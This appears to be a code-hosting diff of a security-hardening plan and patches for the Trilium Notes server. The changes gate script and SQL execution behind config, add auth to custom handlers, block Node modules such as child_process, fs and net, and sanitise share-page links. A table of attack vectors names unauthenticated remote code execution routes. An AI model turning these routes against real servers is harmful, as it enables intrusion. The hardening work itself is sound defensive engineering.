default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).toThrow("disabled");
|
||||
});
|
||||
|
||||
it("should not throw when scripting is enabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
|
||||
it("should throw for SQL console when disabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**Step 2: Implement**
|
||||
|
||||
```typescript
|
||||
// scripting_guard.ts
|
||||
import config from "./config.js";
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
/**
|
||||
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
|
||||
*/
|
||||
export function assertScriptingEnabled(): void {
|
||||
if (isElectron || config.Scripting.enabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
|
||||
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
|
||||
);
|
||||
}
|
||||
|
||||
export function assertSqlConsoleEnabled(): void {
|
||||
if (isElectron || config.Scripting.sqlConsoleEnabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
|
||||
);
|
||||
}
|
||||
|
||||
export function isScriptingEnabled(): boolean {
|
||||
return isElectron || config.Scripting.enabled;
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Run tests, verify pass**
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```
|
||||
feat(security): add scripting guard utility
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 3: Gate script execution endpoints
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
|
||||
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
|
||||
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
|
||||
|
||||
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
|
||||
|
||||
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
|
||||
|
||||
```typescript
|
||||
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
async function exec(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
|
||||
function run(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Gate SQL console**
|
||||
|
||||
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
|
||||
|
||||
```typescript
|
||||
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
function execute(req: Request) {
|
||||
assertSqlConsoleEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Gate bulk action executeScript**
|
||||
|
||||
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
|
||||
|
||||
```typescript
|
||||
import { assertScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
executeScript: (action, note) => {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): gate script/SQL execution behind Scripting.enabled config
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 4: Gate scheduler and event handler script execution
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
|
||||
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
|
||||
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
|
||||
|
||||
**Step 1: Gate scheduler**
|
||||
|
||||
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
sqlInit.dbReady.then(() => {
|
||||
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
|
||||
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
|
||||
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
|
||||
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
|
||||
// ...
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**Step 2: Gate event handlers**
|
||||
|
||||
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
|
||||
if (!note || !isScriptingEnabled()) {
|
||||
return;
|
||||
}
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Gate frontend startup/widget bundles**
|
||||
|
||||
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
function getStartupBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return { scripts: [], superScripts: [] };
|
||||
}
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 5: Add authentication to `/custom/*` routes
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
|
||||
|
||||
**Step 1: Add auth check with opt-out**
|
||||
|
||||
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
|
||||
|
||||
```typescript
|
||||
import auth from "./auth.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
function handleRequest(req: Request, res: Response) {
|
||||
if (!isScriptingEnabled()) {
|
||||
res.status(403).send("Script execution is disabled on this server.");
|
||||
return;
|
||||
}
|
||||
|
||||
// ... existing path parsing code ...
|
||||
|
||||
for (const attr of attrs) {
|
||||
// ... existing matching code ...
|
||||
|
||||
if (attr.name === "customRequestHandler") {
|
||||
const note = attr.getNote();
|
||||
|
||||
// Require authentication unless note has #customRequestHandlerPublic label
|
||||
if (!note.hasLabel("customRequestHandlerPublic")) {
|
||||
if (!req.session?.loggedIn) {
|
||||
res.status(401).send("Authentication required for this endpoint.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// ... existing execution code ...
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
|
||||
|
||||
In `packages/commons/src/lib/builtin_attributes.ts`, add:
|
||||
|
||||
```typescript
|
||||
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
|
||||
```
|
||||
|
||||
**Step 3: Verify TypeScript compiles**
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```
|
||||
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 6: Restrict `require()` in ScriptContext
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
|
||||
|
||||
**Step 1: Add module whitelist**
|
||||
|
||||
Replace the unrestricted `require()` fallback with a whitelist:
|
||||
|
||||
```typescript
|
||||
// Modules that are safe for user scripts to require.
|
||||
// These do NOT provide filesystem, network, or OS access.
|
||||
const ALLOWED_MODULES = new Set([
|
||||
// Trilium built-in modules (resolved via note titles, not Node require)
|
||||
// -- these are handled before the fallback
|
||||
|
||||
// Safe utility libraries available in node_modules
|
||||
"dayjs",
|
||||
"marked",
|
||||
"turndown",
|
||||
"cheerio",
|
||||
"axios", // already exposed via api.axios, but scripts may require it directly
|
||||
"xml2js", // already exposed via api.xml2js
|
||||
"escape-html",
|
||||
"sanitize-html",
|
||||
"lodash",
|
||||
|
||||
// Trilium-specific modules
|
||||
"trilium:preact",
|
||||
"trilium:api",
|
||||
]);
|
||||
|
||||
// Modules that are BLOCKED even when scripting is enabled.
|
||||
// These provide OS-level access that makes RCE trivial.
|
||||
const BLOCKED_MODULES = new Set([
|
||||
"child_process",
|
||||
"cluster",
|
||||
"dgram",
|
||||
"dns",
|
||||
"fs",
|
||||
"fs/promises",
|
||||
"net",
|
||||
"os",
|
||||
"path",
|
||||
"process",
|
||||
"tls",
|
||||
"worker_threads",
|
||||
"v8",
|
||||
"vm",
|
||||
]);
|
||||
|
||||
class ScriptContext {
|
||||
// ... existing fields ...
|
||||
|
||||
require(moduleNoteIds: string[]) {
|
||||
return (moduleName: string) => {
|
||||
// First: check note-based modules (existing behavior)
|
||||
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
|
||||
const note = candidates.find((c) => c.title === moduleName);
|
||||
|
||||
if (note) {
|
||||
return this.modules[note.noteId].exports;
|
||||
}
|
||||
|
||||
// Second: check blocked list
|
||||
if (BLOCKED_MODULES.has(moduleName)) {
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is blocked for security. ` +
|
||||
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
|
||||
);
|
||||
}
|
||||
|
||||
// Third: allow if in whitelist, otherwise block
|
||||
if (ALLOWED_MODULES.has(moduleName)) {
|
||||
return require(moduleName);
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is not in the allowed modules list. ` +
|
||||
`Contact your administrator to add it to the whitelist.`
|
||||
);
|
||||
};
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): restrict require() in script context to whitelisted modules
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 7: Filter dangerous attributes from sync
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
|
||||
|
||||
**Step 1: Add attribute filtering in `updateNormalEntity`**
|
||||
|
||||
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
|
||||
|
||||
```typescript
|
||||
import attributeService from "./attributes.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
import log from "./log.js";
|
||||
|
||||
// In updateNormalEntity, after preProcessContent:
|
||||
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
|
||||
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
|
||||
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
|
||||
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
|
||||
// Prefix dangerous attributes when scripting is disabled, same as safeImport
|
||||
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
|
||||
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Verify TypeScript compiles**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): filter dangerous attributes from sync when scripting is disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 8: Restrict EJS share templates when scripting is disabled
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
|
||||
|
||||
**Step 1: Add scripting check before EJS rendering**
|
||||
|
||||
In `renderNoteContentInternal`, wrap the user template check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
// In renderNoteContentInternal, around lines 200-229:
|
||||
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
|
||||
// ... existing EJS rendering code ...
|
||||
}
|
||||
```
|
||||
|
||||
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
|
||||
|
||||
**Step 2: Verify TypeScript compiles**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): skip user EJS share templates when scripting is disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 9: Desktop auto-enable scripting
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
|
||||
|
||||
**Step 1: Auto-enable for desktop**
|
||||
|
||||
After the `config` object is built, add:
|
||||
|
||||
```typescript
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
// At the bottom, before export:
|
||||
// Desktop builds always have scripting enabled (single-user trusted environment)
|
||||
if (isElectron) {
|
||||
config.Scripting.enabled = true;
|
||||
config.Scripting.sqlConsoleEnabled = true;
|
||||
}
|
||||
```
|
||||
|
||||
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
|
||||
|
||||
**Step 2: Check if `isElectron` is available in config.ts scope**
|
||||
|
||||
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): auto-enable scripting for desktop builds
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 10: Add log warnings when scripting is enabled
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
|
||||
|
||||
**Step 1: Add startup log**
|
||||
|
||||
In the server startup path, after config is loaded:
|
||||
|
||||
```typescript
|
||||
if (isScriptingEnabled()) {
|
||||
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
|
||||
"filesystem, network, and OS commands. Only enable in trusted environments.");
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```
|
||||
feat(security): log warning when scripting is enabled at startup
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Summary of Protection Matrix
|
||||
|
||||
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|
||||
|---|---|---|---|
|
||||
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
|
||||
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
|
||||
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
|
||||
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
|
||||
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
|
||||
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
|
||||
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
|
||||
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
|
||||
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
|
||||
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
|
||||
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
|
||||
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |
|
||||
@@ -59,7 +59,7 @@
|
||||
"chalk": "5.6.2",
|
||||
"cross-env": "10.1.0",
|
||||
"dpdm": "4.0.1",
|
||||
"esbuild": "0.28.0",
|
||||
"esbuild": "0.27.5",
|
||||
"eslint": "10.1.0",
|
||||
"eslint-config-preact": "2.0.0",
|
||||
"eslint-config-prettier": "10.1.8",
|
||||
|
||||
@@ -25,11 +25,6 @@ const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, LocaleMapping | null> = {
|
||||
coreTranslation: () => import("ckeditor5/translations/zh-cn.js"),
|
||||
premiumFeaturesTranslation: () => import("ckeditor5-premium-features/translations/zh-cn.js"),
|
||||
},
|
||||
cs: {
|
||||
languageCode: "cs",
|
||||
coreTranslation: () => import("ckeditor5/translations/cs.js"),
|
||||
premiumFeaturesTranslation: () => import("ckeditor5-premium-features/translations/cs.js"),
|
||||
},
|
||||
de: {
|
||||
languageCode: "de",
|
||||
coreTranslation: () => import("ckeditor5/translations/de.js"),
|
||||
|
||||
@@ -52,7 +52,7 @@
|
||||
"codemirror-lang-elixir": "4.0.1",
|
||||
"codemirror-lang-hcl": "0.1.0",
|
||||
"codemirror-lang-mermaid": "0.5.0",
|
||||
"@eslint/js": "10.0.1",
|
||||
"@eslint/js": "9.39.4",
|
||||
"eslint-linter-browserify": "10.1.0",
|
||||
"globals": "17.4.0"
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ export default [
|
||||
{ type: "label", name: "runOnInstance", isDangerous: false },
|
||||
{ type: "label", name: "runAtHour", isDangerous: false },
|
||||
{ type: "label", name: "customRequestHandler", isDangerous: true },
|
||||
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
|
||||
{ type: "label", name: "customResourceProvider", isDangerous: true },
|
||||
{ type: "label", name: "widget", isDangerous: true },
|
||||
{ type: "label", name: "noteInfoWidgetDisabled" },
|
||||
@@ -107,8 +108,8 @@ export default [
|
||||
{ type: "relation", name: "widget", isDangerous: true },
|
||||
{ type: "relation", name: "renderNote", isDangerous: true },
|
||||
{ type: "relation", name: "shareCss" },
|
||||
{ type: "relation", name: "shareJs" },
|
||||
{ type: "relation", name: "shareJs", isDangerous: true },
|
||||
{ type: "relation", name: "shareHtml" },
|
||||
{ type: "relation", name: "shareTemplate" },
|
||||
{ type: "relation", name: "shareTemplate", isDangerous: true },
|
||||
{ type: "relation", name: "shareFavicon" }
|
||||
];
|
||||
|
||||
@@ -34,7 +34,6 @@ dayjs.extend(utc);
|
||||
export const DAYJS_LOADER: Record<LOCALE_IDS, () => Promise<typeof import("dayjs/locale/en.js")>> = {
|
||||
"ar": () => import("dayjs/locale/ar.js"),
|
||||
"cn": () => import("dayjs/locale/zh-cn.js"),
|
||||
"cs": () => import("dayjs/locale/cs.js"),
|
||||
"de": () => import("dayjs/locale/de.js"),
|
||||
"en": () => import("dayjs/locale/en.js"),
|
||||
"en-GB": () => import("dayjs/locale/en-gb.js"),
|
||||
|
||||
@@ -10,13 +10,12 @@ export interface Locale {
|
||||
/** The value to pass to `--lang` for the Electron instance in order to set it as a locale. Not setting it will hide it from the list of supported locales. */
|
||||
electronLocale?: "en" | "de" | "es" | "fr" | "zh_CN" | "zh_TW" | "ro" | "af" | "am" | "ar" | "bg" | "bn" | "ca" | "cs" | "da" | "el" | "en_GB" | "es_419" | "et" | "fa" | "fi" | "fil" | "gu" | "he" | "hi" | "hr" | "hu" | "id" | "it" | "ja" | "kn" | "ko" | "lt" | "lv" | "ml" | "mr" | "ms" | "nb" | "nl" | "pl" | "pt_BR" | "pt_PT" | "ru" | "sk" | "sl" | "sr" | "sv" | "sw" | "ta" | "te" | "th" | "tr" | "uk" | "ur" | "vi";
|
||||
/** The Tesseract OCR language code for this locale (e.g. "eng", "fra", "deu"). See https://tesseract-ocr.github.io/tessdoc/Data-Files-in-different-versions.html */
|
||||
tesseractCode?: "eng" | "deu" | "spa" | "fra" | "gle" | "ita" | "hin" | "jpn" | "por" | "pol" | "ron" | "rus" | "chi_sim" | "chi_tra" | "ukr" | "ara" | "heb" | "kur" | "fas" | "kor" | "ces";
|
||||
tesseractCode?: "eng" | "deu" | "spa" | "fra" | "gle" | "ita" | "hin" | "jpn" | "por" | "pol" | "ron" | "rus" | "chi_sim" | "chi_tra" | "ukr" | "ara" | "heb" | "kur" | "fas" | "kor";
|
||||
}
|
||||
|
||||
// When adding a new locale, prefer the version with hyphen instead of underscore.
|
||||
const UNSORTED_LOCALES = [
|
||||
{ id: "cn", name: "简体中文", electronLocale: "zh_CN", tesseractCode: "chi_sim" },
|
||||
{ id: "cs", name: "Čeština", electronLocale: "cs", tesseractCode: "ces" },
|
||||
{ id: "de", name: "Deutsch", electronLocale: "de", tesseractCode: "deu" },
|
||||
{ id: "en", name: "English (United States)", electronLocale: "en", tesseractCode: "eng" },
|
||||
{ id: "en-GB", name: "English (United Kingdom)", electronLocale: "en_GB", tesseractCode: "eng" },
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
],
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"fuse.js": "7.2.0",
|
||||
"fuse.js": "7.1.0",
|
||||
"katex": "0.16.44",
|
||||
"mermaid": "11.14.0"
|
||||
},
|
||||
@@ -34,7 +34,7 @@
|
||||
"@typescript-eslint/eslint-plugin": "8.58.0",
|
||||
"@typescript-eslint/parser": "8.58.0",
|
||||
"dotenv": "17.4.0",
|
||||
"esbuild": "0.28.0",
|
||||
"esbuild": "0.27.5",
|
||||
"eslint": "10.1.0",
|
||||
"highlight.js": "11.11.1",
|
||||
"typescript": "6.0.2"
|
||||
|
||||
@@ -100,7 +100,7 @@
|
||||
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
|
||||
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
|
||||
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
|
||||
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
|
||||
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
|
||||
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
|
||||
const headingMatches = [...content.matchAll(headingRe)];
|
||||
content = content.replaceAll(headingRe, (...match) => {
|
||||
@@ -181,7 +181,8 @@ content = content.replaceAll(headingRe, (...match) => {
|
||||
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
|
||||
for (const childNote of note[action]()) {
|
||||
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
|
||||
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
|
||||
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
|
||||
%>
|
||||
<li>
|
||||
|
||||
@@ -57,6 +57,6 @@
|
||||
%>
|
||||
|
||||
<div class="navigation">
|
||||
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
|
||||
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
|
||||
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
|
||||
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
|
||||
</div>
|
||||
@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
|
||||
let linkHref;
|
||||
|
||||
if (isExternalLink) {
|
||||
linkHref = note.getLabelValue("shareExternal");
|
||||
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
|
||||
} else if (note.shareId) {
|
||||
linkHref = `./${note.shareId}`;
|
||||
}
|
||||
|
||||
608
pnpm-lock.yaml
generated
608
pnpm-lock.yaml
generated
File diff suppressed because it is too large
Load Diff
@@ -50,13 +50,6 @@
|
||||
{
|
||||
"matchPackageNames": "@univerjs/**",
|
||||
"groupName": "univer monorepo"
|
||||
},
|
||||
{
|
||||
"matchPackageNames": [
|
||||
"ai",
|
||||
"@ai-sdk/**"
|
||||
],
|
||||
"groupName": "ai sdk"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user